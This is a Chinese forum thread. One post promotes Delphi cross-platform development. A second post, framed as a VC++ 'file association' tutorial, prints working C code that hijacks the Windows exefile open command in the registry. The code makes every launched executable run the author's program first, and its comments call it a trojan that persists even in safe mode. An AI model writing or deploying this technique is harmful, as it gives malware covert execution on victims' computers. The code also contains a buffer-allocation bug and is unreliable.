HanDs
管理员

做为一名程序员,你是否遇到过这样的窘境,“帮我把字体调成16号呗,颜色变成#FFFF00FF,老大说这里最好改一下”,“android版本的app出来了吗?客户要看看效果。”,“现在的版本,ios上能运行了吗?客户明天就要!”,作为一名app的开发只能无奈但心里窃喜的告诉你,“只能等下个版本了,必须要重新发布才能改”,如果你问为什么不能改了就生效啊,为什么不同时支持浏览器,android,ios,Windows,Mac OS X.那说明你对技术的理解要么真的很差,要么你就是知道这项跨平台开发新技术所爆发出来的力量。

    跨平台开发是老牌开发工具Delphi推出的一个用Object Pascal语言就能同时编写iOS,Android,Windows, OS X,浏览器以及后台应用服务器的一项技术,今年11月发布了Delphi 10 Seattle Update1版本,又在程序员里面掀起了一波高潮,不断有喜欢通吃的程序员投入到这个领域。

    用大白话说,就是从此一名程序员自己就可以创业了,他只用这一门技术,就可以同时写出android app,ios app,Windows 10,OS X,浏览器应用以及后台应用服务器程序,并且,请注意这里,它可以做到可视化程序设计(就像网页一样,改了一个字体,不用发布,随时可以查看),app也能做到随时都能更新了,第一段讲的哪些需求可以分分钟秒杀解决,不用新发版本,不用换语言,只需要一套代码,什么ios,什么android,什么浏览器,统统不是事,是不是很牛逼,是不是很牛逼,是不是很牛逼,真的很牛逼。

    到这里,你只需要理解一句话,就是Idera提供了一套解决方案,它利用Object Pascal作为开发语言,可以同时来编写前端(Windows 10,OS X,浏览器应用),移动终端(IOS,Android),后台应用服务器程序。

    我们再来讲讲,为什么Delphi重新受到了如此大的关注,以及它的优越性到底在什么地方。

    目前,一个成熟的互联网产品基本囊括了:移动终端和网页两种主要形态。在移动终端app和网页的开发历程中,涉及了很多技术角色:前端开发(俗名 叫做网站的),移动终端开发(android和ios开发,现在满大街都是),后台开发(他们的程序大多没有界面,主要是为网页和app提供数据和保障服务的稳定性),每个角色各司其职,分别需要不同的技能,比如前端开发需要精通html,css,javascript这些基本的web语言知识。 Android开发用Java(这个词读“扎瓦”,别读成了“加瓦”,读成这样很Low B的)语言编写,ios开发用Objective-c(把他想象成当年过计算机二级的那个C语言就可以了)编写。后台开发,有的公司用Java,有的公司用C ,用啥的都有,能满足项目需要就可以了。

    已经看崩溃了吧,对于一个非计算机专业的人,根本不会理解他妈的为什么要存在这么多语言,为什么这里要用C语言,那里要用C ,有的地方要用Python,而又有很大的一个人群对你高呼:“PHP才是世界最好的语言”。 其实他们每种语言都有不同的使用场景,有的语言效率高,有的语言语法更简洁漂亮,有的是专为后台而生,有的是特定场景下的唯一选择。如果你还听不懂,我们就用大白话做个比喻,为什么避孕套有的是螺纹的,有的是颗粒的,有的是延时的,有的是超薄的,还有一个品牌号称一只手就可以打开的,它们也都是依据个人身 体状态,以及不同场景分别发挥各自的强项。你随便类比,任何一个领域,都有很多不同的工具来满足不同的场景,是需求决定了当前状态。

    现在好了,Delphi整套解决方案完成了江湖统一,Idera也号称这项技术是“Write Once,Run AnyWhere”,学习成本只有一次,却完成了所有开发角色的统一。

   这意味着:
    软件开发将来都是只写一次,通吃所有平台。
    对于一名开发人员,将再也没有前端,终端,后台的区分,他所关注的就是做一整套应用程序,人力将得到最大幅度的整合与释放。
    代码复用将会是主旋律,因为是一种语言,大家重复造轮子的成本会越来越节省。
    目前,Delphi跨平台也还是有一些缺点的,比如他的fmx组件包size还比较大,效率还需要进一步提升,在ios,android上支持的内容已经实用,但是目前最新的版本还存在很多小bug,相信再过一年,一定会牛逼闪闪放光芒,程序员类得解放。


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
2016-7-9 #1楼
HanDs
管理员

[Visual Studio文章] VC++实现文件关联 



文件关联就是将一种类型的文件与一个可以打开它的程序建立起一种依存关系。举个例子来说,位图文件(BMP文件)在Windows中的默认关联程序是“画图”,如果将其默认关联改为用ACDSee程序来打开,那么ACDSee就成了它的默认关联程序。
一个文件可以与多个应用程序发生关联。我们可以利用文件的“打开方式”进行关联选择。我们也可以删除因误操作而引起的错误文件关联,可以根据需要新建文件关联,在有些软件中还可以恢复文件的关联。
文件关联也是很多流行病毒、木马经常利用的隐藏和自动运行手段。

#include <stdio.h>
#include <windows.h>
int main(int argc,char *argv[])
{
MessageBox(NULL,"Hello",NULL,MB_OK);
char temp[256];
memset(temp,0,256);
if(argc!=1){
int length =strlen(argv[1]);
char *ch=(char *)malloc(length);
strcpy(ch,argv[1]);
for(int i=0;i<length;i++,ch++)
{
if(*ch=='\\')
strncat(temp,"\\\\",2);
else strncat(temp,ch,1);
}
}//上面的函数是把字符串中所有的"\"变为"\\"
char str[]="\"%1\" %*"; 
RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",REG_SZ,(LPCTSTR)str,strlen(str)+1);
// 在执行原有程序之前必须把注册表恢复,否则用ShellExecute还是执行我们的木马程序。
ShellExecute(NULL,"open",temp,NULL,NULL,SW_SHOW);//执行原有的程序
//在程序执行完成后,再把注册表改为我们要启动的木马程序的
TCHAR filename[256];
// 得到程序全路径名
GetModuleFileName( NULL, filename, 255 );
strcat(filename," \"%1\" %*");
RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",REG_SZ,(LPCTSTR)filename , strlen(filename) + 1);
//经过上述过程只要程序一运行就会执行我们的start 程序了。即使是在安全模式下只要执行可执行程序就会运行我们的程序了。
 
return 0;
}


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
VC + + 实现文件关联
#2楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复